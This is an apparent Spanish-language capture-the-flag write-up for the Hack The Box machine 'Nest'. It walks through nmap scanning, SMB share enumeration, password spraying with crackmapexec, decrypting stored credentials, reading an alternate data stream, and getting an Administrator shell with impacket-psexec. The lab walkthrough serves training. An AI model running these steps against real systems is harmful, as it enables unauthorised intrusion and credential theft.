Nest
✍️ Autor: VbScrub🔍 Dificultad: Fácil 📅 Fecha de creación: 04/06/2020
🔍 RECONOCIMIENTO
En primer lugar, tras conectarnos a la máquina, utilizamos el comando:
ping -c 1 10.10.10.178para verificar la conectividad de red.

A continuación, realizamos el comando:
nmap -sC -sV -p- 10.10.10.178para realizar un escaneo de puertos y servicios detallado en la dirección IP.

Durante el escaneo se identificaron los siguientes puertos abiertos:
Puerto 445 (SMB): El puerto 445/tcp está abierto y ejecutando el servicio
microsoft-ds?, lo que indica la posible presencia de un servicio SMB en el sistema.Puerto 4386 (unknown): El puerto 4386/tcp también está abierto y ejecutando un servicio desconocido. Según el fingerprinting de respuesta, el servicio se identifica como
Reporting Service V1.2, lo que sugiere que permite a los usuarios ejecutar consultas en bases de datos mediante el formato HQK. Entre los comandos disponibles se encuentranLIST,SETDIR,RUNQUERY,DEBUGyHELP. Esta funcionalidad podría representar un posible vector de ataque si el servicio no está correctamente asegurado.
A continuación, se procederá a analizar cada uno de estos servicios en busca de posibles vectores de ataque.
🔎 EXPLORACIÓN
Se utiliza el comando:
sudo nmap -sCV -p445,4386 -v 10.10.10.178para que nos proporcione más información sobre esos puertos específicamente.

Ponemos el dominio en el /etc/hosts.
echo "10.10.10.178 nest.htb" >> /etc/hostsListamos recursos compartidos.
smbclient -L 10.10.10.178
Listamos el contenido de los recursos compartidos.
smbclient \\\\nest.htb\\Users -N
smbclient \\\\nest.htb\\Data -N
En la ruta /Shared/Templates/HR hay un archivo interesante.

Tenemos unas credenciales por lo que con los usuarios descubiertos antes realizamos fuerza bruta.
crackmapexec smb nest.htb -u usuarios -p 'welcome2019' --continue-on-success
Intenté iniciar sesión con los tres usuarios y, al usar TempUser, obtuve un archivo, pero estaba vacío. Volví a acceder al recurso compartido Data como TempUser y descargué los archivos. Entre ellos, encontré un archivo llamado RU_Config.xml.

En otro archivo (config.xml) encontramos también información.

Entramos donde Carl.
smbclient -U ./TempUser //10.10.10.178/Secure$
🚀 EXPLOTACIÓN
Lo que estamos buscando es una línea del artículo que mencionamos antes, un algoritmo para descifrar el cifrado del archivo RU_Config.xml. Quiero hacerlo rápido, así que voy a dotnetfiddle.net, realizar algunos ajustes al código y ejecutarlo con la contraseña cifrada que está en el archivo de configuración.
El resultado es xRxRxPANCAK3SxRxRx. Bien, el usuario estaba claro, y ahora la contraseña está descifrada.
smbclient -U ./c.smith //10.10.10.178/Users
Seguimos investigando para escalar a root.

allinfo "Debug Mode Password.txt"
Nos lo descargamos.
get "Debug Mode Password.txt":Password:$DataEsto debería devolverte la contraseña en formato claro, que en este caso es WBQ201953D8w.
Con la contraseña obtenida, conéctate al servidor HQK:
debug WBQ201953D8wDentro del servidor, ejecuta el siguiente comando en el directorio LDAP para ver la configuración:
showquery 2
Esto debería devolverte las credenciales del Administrador en formato cifrado. En el ejemplo, la contraseña es yyEq0Uvvhq2uQOcWG8peLoeRQehqip/fKdeG/kjEVb4=.
echo "yyEq0Uvvhq2uQOcWG8peLoeRQehqip/fKdeG/kjEVb4=" | base64 --decodeEjecuté el comando file sobre el archivo HqKLdap.exe y descubrí que es un ejecutable .NET. Lo copié a mi sistema Windows y lo abrí utilizando ILSpy. Dentro del archivo HqKLdap, en la sección CR, encontré la siguiente línea de código:
return RD(EncryptedString, "667912", "1313Rf99", 3, "1L1SA61493DRV53Z", 256);Reemplacé esta línea en el script de Nest y modifiqué el archivo config.xml con el nombre de usuario y la contraseña de "Administrator". Luego ejecuté el script y obtuve lo siguiente:
Anterior:
XtH4nkS4Pl4y1nGX
AdministratorNuevo:
AJPcXFcqZ32B993fPwoHWA==
XtH4nkS4Pl4y1nGXLa contraseña obtenida es: XtH4nkS4Pl4y1nGX.
Ahora, intentemos obtener una shell utilizando la siguiente herramienta:
impacket-psexec Administrator:XtH4nkS4Pl4y1nGX@nest.htbCon este comando, deberíamos obtener acceso como Administrator.
🔐 PRIVILEGIOS
Al estar dentro y ejecutar:
whoamisomos root.


Last updated
Was this helpful?